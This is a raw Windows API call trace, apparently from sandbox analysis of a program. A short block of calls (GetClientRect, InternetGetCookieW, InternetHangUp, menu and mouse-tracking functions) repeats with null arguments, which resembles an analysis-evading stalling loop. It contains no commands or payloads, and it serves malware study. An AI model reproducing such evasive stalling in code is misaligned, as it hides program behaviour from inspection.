	[0079.079] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.079] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.079] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.079] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.079] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.079] GetMenuCheckMarkDimensions () returned 983055
	[0079.079] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.079] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.079] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.079] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.079] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.079] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.079] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.079] GetMenuCheckMarkDimensions () returned 983055
	[0079.079] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.079] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.079] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.079] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.079] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.079] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.079] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.079] GetMenuCheckMarkDimensions () returned 983055
	[0079.079] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.079] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.079] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.079] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.079] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.079] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.079] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.079] GetMenuCheckMarkDimensions () returned 983055
	[0079.079] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.080] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.080] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.080] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.080] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.080] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.080] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.080] GetMenuCheckMarkDimensions () returned 983055
	[0079.080] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.080] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.080] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.080] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.080] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.080] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.080] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.080] GetMenuCheckMarkDimensions () returned 983055
	[0079.080] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.080] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.080] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.080] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.080] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.080] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.080] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.080] GetMenuCheckMarkDimensions () returned 983055
	[0079.080] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.080] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.080] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.080] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.080] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.080] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.080] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.080] GetMenuCheckMarkDimensions () returned 983055
	[0079.080] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.080] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.081] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.081] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.081] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.081] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.081] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.081] GetMenuCheckMarkDimensions () returned 983055
	[0079.081] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.081] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.081] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.081] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.081] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.081] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.081] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.081] GetMenuCheckMarkDimensions () returned 983055
	[0079.081] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.081] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.081] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.081] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.081] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.081] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.081] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.081] GetMenuCheckMarkDimensions () returned 983055
	[0079.081] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.081] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.081] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.081] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.081] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.081] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.081] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.081] GetMenuCheckMarkDimensions () returned 983055
	[0079.081] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.081] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.081] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.082] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.082] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.082] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.082] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.082] GetMenuCheckMarkDimensions () returned 983055
	[0079.082] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.082] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.082] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.082] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.082] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.082] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.082] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.082] GetMenuCheckMarkDimensions () returned 983055
	[0079.082] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.082] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.082] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.082] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.082] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.082] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.082] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.082] GetMenuCheckMarkDimensions () returned 983055
	[0079.082] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.082] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.082] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.082] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.082] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.082] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.082] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.082] GetMenuCheckMarkDimensions () returned 983055
	[0079.082] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.082] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.082] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.082] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.082] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.083] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.083] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.083] GetMenuCheckMarkDimensions () returned 983055
	[0079.083] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.083] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.083] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.083] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.083] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.083] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.083] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.083] GetMenuCheckMarkDimensions () returned 983055
	[0079.083] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.083] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.083] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.083] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.083] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.083] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.083] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.083] GetMenuCheckMarkDimensions () returned 983055
	[0079.083] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.083] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.083] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.083] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.083] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.083] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.083] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.083] GetMenuCheckMarkDimensions () returned 983055
	[0079.083] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.083] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.083] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.083] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.083] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.083] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.084] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.084] GetMenuCheckMarkDimensions () returned 983055
	[0079.084] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.084] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.084] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.084] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.084] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.084] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.084] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.084] GetMenuCheckMarkDimensions () returned 983055
	[0079.084] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.084] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.084] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.084] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.084] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.084] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.084] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.084] GetMenuCheckMarkDimensions () returned 983055
	[0079.084] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.084] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.084] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.084] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.084] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.084] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.084] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.084] GetMenuCheckMarkDimensions () returned 983055
	[0079.084] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.084] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.084] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.084] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.084] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.084] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.084] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.085] GetMenuCheckMarkDimensions () returned 983055
	[0079.085] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.085] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.085] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.085] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.085] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.085] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.085] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.085] GetMenuCheckMarkDimensions () returned 983055
	[0079.085] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.085] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.085] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.085] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.085] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.085] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.085] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.085] GetMenuCheckMarkDimensions () returned 983055
	[0079.085] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.085] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.085] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.085] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.085] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.085] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.085] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.085] GetMenuCheckMarkDimensions () returned 983055
	[0079.085] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.085] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.085] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.085] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.085] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.085] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.085] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.085] GetMenuCheckMarkDimensions () returned 983055
	[0079.085] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.086] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.086] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.086] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.086] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.086] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.086] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.086] GetMenuCheckMarkDimensions () returned 983055
	[0079.086] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.086] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.086] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.086] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.086] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.086] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.086] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.086] GetMenuCheckMarkDimensions () returned 983055
	[0079.086] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.086] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.086] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.086] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.086] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.086] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.086] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.086] GetMenuCheckMarkDimensions () returned 983055
	[0079.086] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.086] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.086] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.086] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
